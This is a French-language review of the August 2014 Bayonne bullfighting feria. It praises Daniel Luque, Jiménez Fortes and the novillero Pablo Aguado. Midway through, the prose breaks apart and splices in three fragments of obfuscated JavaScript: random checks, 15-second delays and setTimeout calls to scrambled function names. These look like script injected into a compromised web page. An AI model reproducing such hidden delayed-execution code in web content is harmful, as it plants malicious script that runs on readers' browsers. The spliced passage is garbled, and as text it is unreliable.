FERIA DE BAYONNE AOUT 2014 : UN TRIOMPHE TAURIN

Alors que les affiches n’étaient pas forcément attrayantes, il y avait à peine un tiers d’arène le samedi, les résultats des deux corridas et des deux novilladas non piquées ont été un succès.

Au-delà du nombre de trophées et des sorties a hombros, on a vu des toreros aux tauromachies fascinantes et des toros qui leur ont permis de s’exprimer. Ce fut surtout le cas de Daniel Luque. À part Morante de le Puebla, personne ne torée aujourdhui aussi bien à la cape que le torero de Gerena. Il la fait à Bayonne avec un relâchement ahurissant et une occupation immédiate de l’espace scénique sans forcer l’esthétisme.

Tout venait naturellement, on sent que Daniel est arrivé à maturité et prend un plaisir fou à toréer. Pareil pour la muleta où il est probablement le seul torero capable de rivaliser avec Miguel Angel Perera. Par son sitio, son temple languissant et la profondeur de ses passes. A Bayonne ce fut un véritable récital, toujours porté par l’imagination, par l’inattendu.

Daniel Luque a 25 ans et cette saison est sans doute celle de sa consécration. Pour Jimenez  Fortes il reste encore du chemin, mais cela ne devrait pas tarder. Lors de la première corrida, même sil fut le seul à ne pas sortir a hombros, le meilleur toreo fut le sien. Dès son entrée en piste il bouscula les esprits. Parce qu’il se place là où rares vont avec une quiétude époustouflante. Sa quête de pureté commence à payer les fruits portée par son courage, un sang froid qui, contrairement à ce que pensent certains, lui permet de réfléchir, de comprendre le toro, d’en saisir de plus en plus toutes les subtilités.

Malheureusement c’est au niveau de la mise à mort qu’il y a encore des soucis à se faire.
Luque et Fortes furent les toreros qui m’ont le plus marqué mais il y eut aussi deux très bonnes prestations de Paco Ureña qui continue à marquer des points en France, la sortie a hombros de Juan Leal récompensé pour son courage, une faena dominatrice d’Iván Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño avant sa blessure à son second toro, et quelques gestes de Joselito Adame mais qui ma laissé un peu sur ma faim. Les corridas de Pedrés et de Montalvo, sérieuses de présentation, manquèrent un peu de piment mais furent très nobles. Mention spéciale aux deux derniers toros de chaque course qui eurent beaucoup de répétitivité.

En ce qui concerne les novilladas du matin la révélation a été celle d’un jeune sévillan, Pablo Aguado, qui toréé admirablement bien, très varié aussi bien à la cape qu’à la muleta, et qui ne devrait pas tarder à passer en piquée et est qualifiée pour la finale en septembre.

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